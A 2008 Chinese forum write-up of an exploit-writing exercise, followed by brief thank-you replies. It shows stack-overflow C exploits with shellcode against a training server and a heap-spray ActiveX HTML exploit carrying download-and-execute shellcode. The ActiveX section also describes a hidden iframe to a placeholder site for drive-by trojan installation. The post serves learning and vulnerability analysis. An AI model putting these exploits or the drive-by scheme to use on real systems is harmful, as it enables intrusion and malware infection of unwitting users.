首页
论坛
课程
招聘
[原创]exploitme溢出分析
2008-1-3 15:31 5208

[原创]exploitme溢出分析

2008-1-3 15:31
5208
试题A分析PE分析:
我们运行exploit_me_A.exe,发现它开了7777端口,于是用telnet连接该端口,随便敲入字母,exploit_me_A.exe将我们键入的字母打印了出来。
该程序功能就是:接收客户端传来的字符串并将其打印出来。
漏洞描述:
用od载入exploit_me_A.exe,来到程序入口主要代码如下:
004010B0  /$  81EC B4030000 sub     esp, 3B4
004010B6  |.  8D8424 240200>lea     eax, dword ptr [esp+224]
004010BD  |.  55            push    ebp
004010BE  |.  50            push    eax                         ; /pWSAData
004010BF  |.  68 01010000   push    101                         ; |RequestedVersion = 101 (1.1.)
004010C4  |.  FF15 BC804000 call    dword ptr [<&WS2_32.#115>]  ; \WSAStartup
004010CA  |.  6A 00         push    0                           ; /Protocol = IPPROTO_IP
004010CC  |.  6A 01         push    1                           ; |Type = SOCK_STREAM
004010CE  |.  6A 02         push    2                           ; |Family = AF_INET
004010D0  |.  FF15 C0804000 call    dword ptr [<&WS2_32.#23>]   ; \socket
004010D6  |.  8BE8          mov     ebp, eax
004010D8  |.  85ED          test    ebp, ebp
004010DA  |.  7D 33         jge     short 0040110F
004010DC  |.  68 00914000   push    00409100                    ;  ASCII "socket creating error!"
004010E1  |.  55            push    ebp                         ; /Arg1
004010E2  |.  B9 689A4000   mov     ecx, 00409A68               ; |
004010E7  |.  E8 0C070000   call    004017F8                    ; \exploit_.004017F8
004010EC  |.  8BC8          mov     ecx, eax
004010EE  |.  E8 34030000   call    00401427
004010F3  |.  68 D0124000   push    004012D0
004010F8  |.  6A 0A         push    0A                          ; /Arg1 = 0000000A
004010FA  |.  8BC8          mov     ecx, eax                    ; |
004010FC  |.  E8 DF010000   call    004012E0                    ; \exploit_.004012E0
00401101  |.  8BC8          mov     ecx, eax
00401103  |.  E8 A8010000   call    004012B0
00401108  |.  6A 01         push    1
0040110A  |.  E8 430E0000   call    00401F52
0040110F  |>  68 611E0000   push    1E61                        ; /NetShort = 1E61
00401114  |.  66:C74424 0C >mov     word ptr [esp+C], 2         ; |
0040111B  |.  FF15 C4804000 call    dword ptr [<&WS2_32.#9>]    ; \ntohs
00401121  |.  6A 00         push    0                           ; /NetLong = 0
00401123  |.  66:894424 0E  mov     word ptr [esp+E], ax        ; |
00401128  |.  FF15 C8804000 call    dword ptr [<&WS2_32.#8>]    ; \ntohl
0040112E  |.  8D4C24 08     lea     ecx, dword ptr [esp+8]
00401132  |.  6A 10         push    10                          ; /AddrLen = 10 (16.)
00401134  |.  51            push    ecx                         ; |pSockAddr
00401135  |.  55            push    ebp                         ; |Socket
00401136  |.  894424 18     mov     dword ptr [esp+18], eax     ; |
0040113A  |.  FF15 CC804000 call    dword ptr [<&WS2_32.#2>]    ; \bind
00401140  |.  85C0          test    eax, eax
00401142  |.  74 24         je      short 00401168
00401144  |.  68 E0904000   push    004090E0                    ;  ASCII "binding stream socket error!"
00401149  |.  B9 689A4000   mov     ecx, 00409A68
0040114E  |.  E8 D4020000   call    00401427
00401153  |.  68 D0124000   push    004012D0
00401158  |.  6A 0A         push    0A                          ; /Arg1 = 0000000A
0040115A  |.  8BC8          mov     ecx, eax                    ; |
0040115C  |.  E8 7F010000   call    004012E0                    ; \exploit_.004012E0
00401161  |.  8BC8          mov     ecx, eax
00401163  |.  E8 48010000   call    004012B0
00401168  |>  53            push    ebx
00401169  |.  68 B8904000   push    004090B8                    ;  ASCII "**************************************"
0040116E  |.  B9 689A4000   mov     ecx, 00409A68
00401173  |.  E8 AF020000   call    00401427
00401178  |.  68 D0124000   push    004012D0
0040117D  |.  6A 0A         push    0A                          ; /Arg1 = 0000000A
0040117F  |.  8BC8          mov     ecx, eax                    ; |
00401181  |.  E8 5A010000   call    004012E0                    ; \exploit_.004012E0
00401186  |.  8BC8          mov     ecx, eax
00401188  |.  E8 23010000   call    004012B0
0040118D  |.  68 94904000   push    00409094                    ;  ASCII "     exploit target server 1.0",TAB,"   "
00401192  |.  B9 689A4000   mov     ecx, 00409A68
00401197  |.  E8 8B020000   call    00401427
0040119C  |.  68 D0124000   push    004012D0
004011A1  |.  6A 0A         push    0A                          ; /Arg1 = 0000000A
004011A3  |.  8BC8          mov     ecx, eax                    ; |
004011A5  |.  E8 36010000   call    004012E0                    ; \exploit_.004012E0
004011AA  |.  8BC8          mov     ecx, eax
004011AC  |.  E8 FF000000   call    004012B0
004011B1  |.  68 B8904000   push    004090B8                    ;  ASCII "**************************************"
004011B6  |.  B9 689A4000   mov     ecx, 00409A68
004011BB  |.  E8 67020000   call    00401427
004011C0  |.  68 D0124000   push    004012D0
004011C5  |.  6A 0A         push    0A                          ; /Arg1 = 0000000A
004011C7  |.  8BC8          mov     ecx, eax                    ; |
004011C9  |.  E8 12010000   call    004012E0                    ; \exploit_.004012E0
004011CE  |.  8BC8          mov     ecx, eax
004011D0  |.  E8 DB000000   call    004012B0
004011D5  |.  6A 04         push    4                           ; /Backlog = 4
004011D7  |.  55            push    ebp                         ; |Socket
004011D8  |.  FF15 D0804000 call    dword ptr [<&WS2_32.#13>]   ; \listen
004011DE  |.  8D5424 08     lea     edx, dword ptr [esp+8]
004011E2  |.  8D4424 1C     lea     eax, dword ptr [esp+1C]
004011E6  |.  52            push    edx                         ; /pAddrLen
004011E7  |.  50            push    eax                         ; |pSockAddr
004011E8  |.  55            push    ebp                         ; |Socket
004011E9  |.  C74424 14 100>mov     dword ptr [esp+14], 10      ; |
004011F1  |.  FF15 D4804000 call    dword ptr [<&WS2_32.#1>]    ; \accept
004011F7  |.  8BD8          mov     ebx, eax
004011F9  |.  83FB FF       cmp     ebx, -1
004011FC  |.  74 7F         je      short 0040127D
004011FE  |.  56            push    esi
004011FF  |.  57            push    edi
00401200  |>  B9 80000000   /mov     ecx, 80
00401205  |.  33C0          |xor     eax, eax
00401207  |.  8D7C24 34     |lea     edi, dword ptr [esp+34]
0040120B  |.  50            |push    eax                        ; /Flags => 0
0040120C  |.  F3:AB         |rep     stos dword ptr es:[edi]    ; |
0040120E  |.  8D4C24 38     |lea     ecx, dword ptr [esp+38]    ; |
00401212  |.  68 00020000   |push    200                        ; |BufSize = 200 (512.)
00401217  |.  51            |push    ecx                        ; |Buffer
00401218  |.  53            |push    ebx                        ; |Socket
00401219  |.  FF15 D8804000 |call    dword ptr [<&WS2_32.#16>]  ; \recv
0040121F  |.  8BF0          |mov     esi, eax
00401221  |.  85F6          |test    esi, esi
00401223  |.  7D 26         |jge     short 0040124B
00401225  |.  68 74904000   |push    00409074                   ;  ASCII "reading stream message erro!"
0040122A  |.  B9 689A4000   |mov     ecx, 00409A68
0040122F  |.  E8 F3010000   |call    00401427
00401234  |.  68 D0124000   |push    004012D0
00401239  |.  6A 0A         |push    0A                         ; /Arg1 = 0000000A
0040123B  |.  8BC8          |mov     ecx, eax                   ; |
0040123D  |.  E8 9E000000   |call    004012E0                   ; \exploit_.004012E0
00401242  |.  8BC8          |mov     ecx, eax
00401244  |.  E8 67000000   |call    004012B0
00401249  |.  33F6          |xor     esi, esi
0040124B  |>  8D5424 34     |lea     edx, dword ptr [esp+34]    ;  取接收到的字符串地址
0040124F  |.  52            |push    edx
00401250  |.  E8 ABFDFFFF   |call    00401000              ;  这里返回时eip被覆盖
我们发现 实际上是基本的网络程序C/S模型的服务端 框架 ,主要功能 开一端口7777,监听,接收数据。
在这段代码中,在recv处 有字符串复制操作 ,并且一次接收的字符串 为0x200 也就是512字节。
下面我们就尝试让程序溢出崩溃。
用vc写一测试代码
主要就是用网络函数connect()  send() 向 目标程序发送过长字符串。
测试代码如下,一个很简单的发送字符串的代码:
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
int main()
{
        char buffer[1000]=
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
        WSADATA wsa;
        WSAStartup(MAKEWORD(2,0),&wsa);
        SOCKET s,s1;
        struct sockaddr_in target;
        target.sin_family=AF_INET;
        target.sin_addr.s_addr=inet_addr("127.0.0.1");
        target.sin_port=htons(7777);
        s=socket(AF_INET,SOCK_STREAM,0);
        connect(s,(struct sockaddr *)&target,sizeof(target));
        Sleep(1000);
        send(s,buffer,sizeof(buffer),0);  //发送字符串
        Sleep(1000);
        WSACleanup();
        return 1;
}
我们先运行 exploit_me_A.exe
然后运行我们的测试程序,这时 exploitme_me_A.exe显示如下:

很显然exploitme_me_A.exe在打印完我们输入的串后,在某处eip被串覆盖。
好了现在我们要做的几就是找到eip被覆盖的地方,在这里填上一跳转指令的地址,改跳转指令负责跳到我们的shellcode的地方去,然后就大功告成了。
再用od加载目标程序 我们在recv 函数下面
00401223  |.  7D 26         |jge     short 0040124B
这条指令的地方下断,该处指令意思很明显,如果recv函数执行失败,则打印错误消息否则继续到40124b出执行。
我们下断后按下F9 目标程序 处于监听,等待接收状态。
这时 运行我们的测试程序,od断下。

我们单步f8,当执行完call 401000 时
目标程序崩溃。这里意思很明显了,多半是call 执行完 返回时,返回地址被覆盖。
我们重新加载od 重复上面步骤 到call 401000时 f7跟进去
相关代码及主要部分分析如下:
00401000  /$  81EC C8000000 sub     esp, 0C8                    ;  分配200 字节栈空间
00401006  |.  83C9 FF       or      ecx, FFFFFFFF
00401009  |.  33C0          xor     eax, eax
0040100B  |.  8D5424 00     lea     edx, dword ptr [esp]
0040100F  |.  56            push    esi                         ;  512
00401010  |.  57            push    edi                         ;  
00401011  |.  8BBC24 D40000>mov     edi, dword ptr [esp+D4]     ;  edi指向我们发送的串
00401018  |.  68 4C904000   push    0040904C                    ;  ASCII "********************"
0040101D  |.  F2:AE         repne   scas byte ptr es:[edi]
0040101F  |.  F7D1          not     ecx                         ;  获得串长度
00401021  |.  2BF9          sub     edi, ecx                    ;  edi指向串头
00401023  |.  8BC1          mov     eax, ecx
00401025  |.  8BF7          mov     esi, edi
00401027  |.  8BFA          mov     edi, edx
00401029  |.  C1E9 02       shr     ecx, 2                      ;  
0040102C  |.  F3:A5         rep     movs dword ptr es:[edi], dw>;  把串复制到分配的栈空间里共复制了132*4字节,超出了200字节,这里把该函数的返回地址覆盖了。
0040102E  |.  8BC8          mov     ecx, eax
00401030  |.  83E1 03       and     ecx, 3                      ;  
00401033  |.  F3:A4         rep     movs byte ptr es:[edi], byt>
00401035  |.  B9 689A4000   mov     ecx, 00409A68
0040103A  |.  E8 E8030000   call    00401427
0040103F  |.  68 D0124000   push    004012D0
00401044  |.  6A 0A         push    0A                          ; /Arg1 = 0000000A
00401046  |.  8BC8          mov     ecx, eax                    ; |
00401048  |.  E8 93020000   call    004012E0                    ; \exploit_.004012E0
0040104D  |.  8BC8          mov     ecx, eax
0040104F  |.  E8 5C020000   call    004012B0
00401054  |.  68 40904000   push    00409040                    ;  ASCII "received:"
00401059  |.  B9 689A4000   mov     ecx, 00409A68
0040105E  |.  E8 C4030000   call    00401427
00401063  |.  68 D0124000   push    004012D0
00401068  |.  6A 0A         push    0A                          ; /Arg1 = 0000000A
0040106A  |.  8BC8          mov     ecx, eax                    ; |
0040106C  |.  E8 6F020000   call    004012E0                    ; \exploit_.004012E0
00401071  |.  8BC8          mov     ecx, eax
00401073  |.  E8 38020000   call    004012B0
00401078  |.  8D4C24 08     lea     ecx, dword ptr [esp+8]
0040107C  |.  51            push    ecx
0040107D  |.  B9 689A4000   mov     ecx, 00409A68
00401082  |.  E8 A0030000   call    00401427                    ;  打印串
00401087  |.  68 D0124000   push    004012D0
0040108C  |.  6A 0A         push    0A                          ; /Arg1 = 0000000A
0040108E  |.  8BC8          mov     ecx, eax                    ; |
00401090  |.  E8 4B020000   call    004012E0                    ; \exploit_.004012E0
00401095  |.  8BC8          mov     ecx, eax
00401097  |.  E8 14020000   call    004012B0
0040109C  |.  5F            pop     edi
0040109D  |.  5E            pop     esi
0040109E  |.  81C4 C8000000 add     esp, 0C8                    ;  esp 想栈底移动200字节
004010A4  \.  C3            retn                                ;  返回执行esp所指指令

好了,我们明白了在 字符串200字节后面就是call 401000函数的返回地址,我们的exploit也就马上可以写出来了,把跳转指令跟在200个字符后,再放上shellcode,就ok了。(这里是一般的jmp esp 的方法,问题是可能找不到一个比较通用的跳转地址,我继续把这种利用方式描述完,之后再描述另一种更通用的利用方式。)
我们的跳转指令就选jmp esp ,当返回指令被jmp esp 地址覆盖,当子函数执行retn 时要跳去执行jmp esp这个指令 同时esp 往下移动4字节就指向我们shellcode了,这时后jmp esp就jump 到了我们shellcode指令处了。
我们的exploit 代码如下:
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#define jump_addr "\xd8\x69\x83\x7c"
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x69\x6e\x64\x21\x68\x6e\x65\x74\x77\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main()
{
        char buffer[1000];
        int i=0;
        memset(buffer,0,sizeof(buffer)-1);
        for(i=0;i<200;i++)
                strcpy(buffer+i,"A"); //前面放200字节字符串,放什么都可以别放0就好。
        strcpy(buffer+i,jump_addr); //然后放跳转指令地址
        strcpy(buffer+i+4,shellcode); //然后放我们的shellcode
        WSADATA wsa;
        WSAStartup(MAKEWORD(2,0),&wsa);
        SOCKET s,s1;
        struct sockaddr_in target;
        target.sin_family=AF_INET;
        target.sin_addr.s_addr=inet_addr("127.0.0.1");
        target.sin_port=htons(7777);
        s=socket(AF_INET,SOCK_STREAM,0);
        connect(s,(struct sockaddr *)&target,sizeof(target));
        Sleep(1000);
        send(s,buffer,sizeof(buffer),0);   //send result; 发串了
        Sleep(1000);
        WSACleanup();
        return 1;
}
Exploit很简单,没什么需要解释的。我说明下跳转指令地址是用od 插件 搜索的在kernel32.dll里的地址,另外根据failwest老师的说明,该考试用来提高大家漏洞分析能力的,不是专门针对编写shellcode的,所以嘛,我就把failwest老师的精悍的shellcode拿来用了,当学生我是最听老师话了,老师怎么说就怎么做嘛,呵呵。
我引用shellcode时把弹出的名字改为了自己在pediy 的id。
//
此方式的问题就是不通用。
下面我们继续找出一种更通用的利用方式:
我们用od加载目标程序 让其运行到call 401000 函数的返回地址处停下如图所示:



这个是指令窗口停在 函数返回指令上,该返回指令可以被我们覆盖。

这个是这时的堆栈窗口。
其中12fbb8的地方就是子函数返回地址所在地方,我这里已经用地址4010a4把它覆盖了
我们看到12fbbc处 的值是12fbf4
我们再看看12fbf4指向的是什么内容:

这个是堆栈12fbf4的内容  这个地址 就是recv接收我们的串时 把串存放的地址,呵呵。
这里我改变了串的构造方式  ,格式为:shellcode+AAAA+jum_addr.
我们只要把返回地址处指令覆盖为retn的地址 ,那么函数返回时 就直接跳到12fbf4所指的指令去执行了,这时12fbf4放的是我们的shellcode 那么我们shellcode 就顺利执行了。
那么我们只需在程序代码找个 retn返回地址就可以了

其实眼前就有个 这里我选的是004010a4。
字符串复制时,遇0会断掉,但这里我们已经可以成功把返回地址覆盖了,所以它把4010a4复制进去就断了,刚好覆盖了返回地址,达到目的了。
好了,修改后的exploit如下:
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#define jump_addr "\xa4\x10\x40"
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x69\x6e\x64\x21\x68\x6e\x65\x74\x77\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main()
{
        char buffer[0x2000];
        int i=0,j;
        strcpy(buffer,shellcode);
        for(i=0;i+sizeof(shellcode)-1<200;i++)
                strcpy(buffer+i+sizeof(shellcode)-1,"A");
        strcpy(buffer+i+sizeof(shellcode)-1,jump_addr);
        WSADATA wsa;
        WSAStartup(MAKEWORD(2,0),&wsa);
        SOCKET s,s1;
        struct sockaddr_in target;
        target.sin_family=AF_INET;
        target.sin_addr.s_addr=inet_addr("127.0.0.1");
        target.sin_port=htons(7777);
        s=socket(AF_INET,SOCK_STREAM,0);
        connect(s,(struct sockaddr *)&target,sizeof(target));
        Sleep(1000);
        send(s,buffer,sizeof(buffer),0);   //send result;
        Sleep(1000);
        WSACleanup();
        return 1;
}
我讲在下面   “稳定性与通用性论证” 一栏介绍为什么选004010a4 这个地址具有通用性。

shellcode描述:
该shellcode 被成功执行时弹出方框,然后退出。
原shellcode代码为:
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
exploit运行截图

Exploit 修改前运行效果图

Exploit 修改后运行效果图
稳定性与通用性论证
一开始我们用kernel32.dll里的jmp esp的地址,kernel32.dll由于版本,是否打补丁等影响,不同机器里的可能不一样,这样jmp esp的地址就不一定会相同,这样exploit可能就会执行失败。
而选用程序本身的地址004010a4 时,程序由系统加载其所用函数地址,指令地址都是由pe结构动态获得的,因此只要pe程序能正常运行,它自身的地址便是通用的。
创新性论证(可选)
一般,由于pe加载基地址从0x00400000开始,必然包含0,而字符串copy时,遇0便会中断copy ,那样我们构造的串就不能顺利植入目标程序,而系统地址 不包括0,可以使用,但又不具有通用性。
在这里由于目标程序刚好再200字节后是返回地址,我们的shellcode低于200字节,我们把shellcode放在前面,200字节后放目标程序里的跳转地址,且能跳到shellcode,我们就只需要这么多串就足够了,所以对于本环境来说第二种方式具有很好的通用性,是一种较好的利用方式。

//////////////////////////
B题分析:

在这里我用的是comraider来发掘com组件的漏洞,我们用comraider打开exploit_me_B.dll然后选择所列出的一个函数 点右键 选择fuzz memory,一般参数带有字符串的函数 可能存在溢出漏洞,这里我选择的是loadpage函数.如图

然后点next ,点begin fuzz.
刚开始 时 我总是遇到一个错误提示框 如图

老是搞不明白是什么问题,浪费了很多时间,其实是这样的,比如我注册exploit_me_B.dll 时用的路径是d:\ exploit_me_B.dll,但我用comraider 打开的却是桌面上放的exploit_me_B.dll,就有这个错误了,不知道是否有朋友遇到类似情况,只要打开注册时 所在路径的dll就可以了.
下面是点begin fuzz后的运行结果.

显示出有很多处异常,有异常就有可能有被利用的可能,这里我们对第一个 点右键,选择在ie测试运行结果如图:

Ie崩溃了 ,下面我们看看 它是否能被利用.
Comraider 的确是个好工具 测试的poc代码也顺便给出来了.
对第一个异常所在行点右键选择view file就可以看到代码.
其中有用部分为:
<object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' />
<script language='vbscript'>
arg1=String(1044, "A")
arg2=1
arg3=1
arg4=1
target.LoadPage arg1 ,arg2 ,arg3 ,arg4
</script>

对应javascript代码为:
<object id="target" classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2"></object>
<script language="javascript">
//Var arg1=String(1044, "A");//这里javascript没这个函数,开始时,我用这个函数,又浪费了我n多时间.
var arg1="AAAAAAAAAA";
while(arg1.length<1044)arg1+=arg1;          //这里放个超长串.
var arg2=1;
var arg3=1;
var arg4=1;
target.LoadPage(arg1,arg2,arg3,arg4);
</script>好了保存为1.htm就是测试代码了.
好了,现在我们定位溢出点.
用od加载iexplorer.exe并运行,等运行出ie后 打开我们构造的1.htm
Ie这时如图:

然后在od里 按alt+e 找到 oleaut32.dll模块双击,然后再按ctrl+n 找到DispCallFunc按f2设断 然后在ie里 对提示限制显示 那块点右键选择 允许阻止的内容
然后od就会断 到DispCallFunc 处,f8 跟进 直到 出现call ecx时,f7进去.
这时就来到loadpage 入口了.
下面我们的目的是发现溢出点在哪.我的笨办法就是 一直f8下去 当遇到哪个cal 指令运行后ie崩溃 那么再重来 跟进这个call .
要说明下的是函数里有一步
030CCDA5  |.  FF15 F4901703 call    [<&KERNEL>; \WideCharToMultiByte
所以我们传近来的字符串选要转为 widechar(unicode)才能还原过来.
最后 我们找到下面这个call 返回地址被覆盖

这是调用该call 时 堆栈分布图.
该call返回地址被覆盖 无法正常执行原流程.
这里我们就找到溢出点了.
漏洞描述及危害分析:
我们f7跟进去,这个call函数开头部分代码如下

030C3DC0  /$  81EC 0C010000 sub     esp, 10C      //分配0x10c字节空间.
030C3DC6  |.  8BD1          mov     edx, ecx
030C3DC8  |.  83C9 FF       or      ecx, FFFFFFFF
030C3DCB  |.  33C0          xor     eax, eax
030C3DCD  |.  53            push    ebx
030C3DCE  |.  56            push    esi
030C3DCF  |.  57            push    edi
030C3DD0  |.  8BBC24 200100>mov     edi, [esp+120]
030C3DD7  |.  F2:AE         repne   scas byte ptr es:[edi]
030C3DD9  |.  F7D1          not     ecx
030C3DDB  |.  2BF9          sub     edi, ecx
030C3DDD  |.  8D5C24 18     lea     ebx, [esp+18]
030C3DE1  |.  8BC1          mov     eax, ecx
030C3DE3  |.  8BF7          mov     esi, edi
030C3DE5  |.  8BFB          mov     edi, ebx
030C3DE7  |.  C1E9 02       shr     ecx, 2
030C3DEA  |.  F3:A5         rep     movs dword ptr es:[edi], d>;  溢出

当执行到030c3dea时

串长度没经过严格检查 就进行复制操作,这里将复制0x500字节的串,返回地址当然会被覆盖了.

现在已经很明显了 只要我们构造的串的长度超过0x10c就一定会把 这个call的返回地址覆盖.

产生漏洞的原因弄清楚了我们就可以写exploit了.
Exploit 要考虑以下2个问题
1.        shellcode 必须以unicode形式传入
2.        用什么方式来执行我们的shellcode.
首先unicode格式的shellcode,我借用的dummy的下载并执行的shellcode
.(地址为: http://bbs.pediy.com/showthread.php?t=54812&viewgoodnees=1)
一般利用覆盖返回地址跳转到shellcode的方式 由于跳转指令地址会因操作系统不同 会出现不通用的情况.
这里我也选用的是axtivex漏洞利用的常见的heap spray的方法..
这种方法我觉得亮点就是只要覆盖了返回地址就能执行到shellcode 很棒.
完整的exploit ok.htm代码入下:
<htm>
<object id="target" classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2"></object>
<body>
<SCRIPT language="javascript">
var argCount=4;
var shellcode=unescape("%u00E8樀縡顳諾踎๎嗬䱒位N㘀⼚捰尺⹣硥e彙枯ꅤ0䂋謌ᱰ训ࡨ譑㱵璋砮譖⁶줳䅉έ㏅࿛Ⴞࡴ쯁̍䃚Ἳ譞⑞警䬌庋̜话謄씃妫볢ྋ呂瑣圊탿꾕檯劬坒辍მ@၎@剑탿Ūw埿部瑨灴⼺戯甮湥挮⽮⹡硥e");  //shellcode 中间没换行.
</script><script language="javascript">
fillblock = unescape("邐");
while ( fillblock.length < 0x30000 ) fillblock += fillblock;
memory = new Array();
for ( x = 0; x < 400; x++ ) memory[x] = fillblock + shellcode;
var arg1='\x0a\x0a\x0a\x0a';
while(arg1.length<0x1040)arg1+='\x0a\x0a\x0a\x0a';  //这里用确保足够长的串把返回地址覆盖.
var arg2=1;
var arg3=1;
var arg4=1;
target.LoadPage(arg1,arg2,arg3,arg4);
</script>
</body>
</htm>
危害及攻击场景描述
该类型漏洞一般用来网站挂马.
比如在某网页里查入如下代码:
<iframe src="http://www.xxx.com/ok.htm" width=0 height=0 scrolling=no></iframe>
当用户浏览网页时,就会背后不知不觉的打开ok.htm ,ok.htm就是我们的exploit打开后会下载运行木马程序,这样用户电脑就在不知觉时中木马了.
该类型漏洞危害很广,很多木马后门都是以这中形式 被安装到用户电脑里的.木马可以盗去密码帐户等,危害严重.
试想某一流量大的网站 被挂马后,中马用户将非常的多。

稳定性与通用性论证
该exploit 没有使用跳转指令地址覆盖eip的方式 ,这样完全避免了因操作系统版本出现的不通用的问题.只要我们的恶意串足够长,能把返回地址覆盖,那么我们shellcode 就一定能被执行.这也是heap spray方式的一个好处.

关于heep spray 我罗嗦句:
"一般情况下05050505这个地址 指的内存无效的
但如果我们在内存里分配足够多的空间 并且这个空间经过地址05050505还向先延伸  而分配的空间的内容 05050505 地址前 全部都是nop 指令 其后面 往下就是shellcode
那么只要05050505 地址覆盖了返回地址
就可以执行shellcode了
这对 activex 漏洞有效
"
我是这么理解的

以上均为个人在学习过程中的理解,如有任何疏漏或错误 请批评指正,谢谢!

看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (7)
雪    币: 110
活跃值: 活跃值 (249)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-1-3 15:40
2
0
哈,学习一遍
雪    币: 247
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
evilcode 活跃值 2008-1-3 17:29
3
0
个个都学得不错了
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
aopen 活跃值 2008-1-15 16:35
4
0
好帖子,就从这里开始学起,十分感谢
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
aopen 活跃值 2008-1-15 16:35
5
0
好帖子,就从这里开始学起,十分感谢
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
aopen 活跃值 2008-1-15 16:37
6
0
好帖子,就从这里开始学起,十分感谢!!!
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
aopen 活跃值 2008-1-15 16:38
7
0
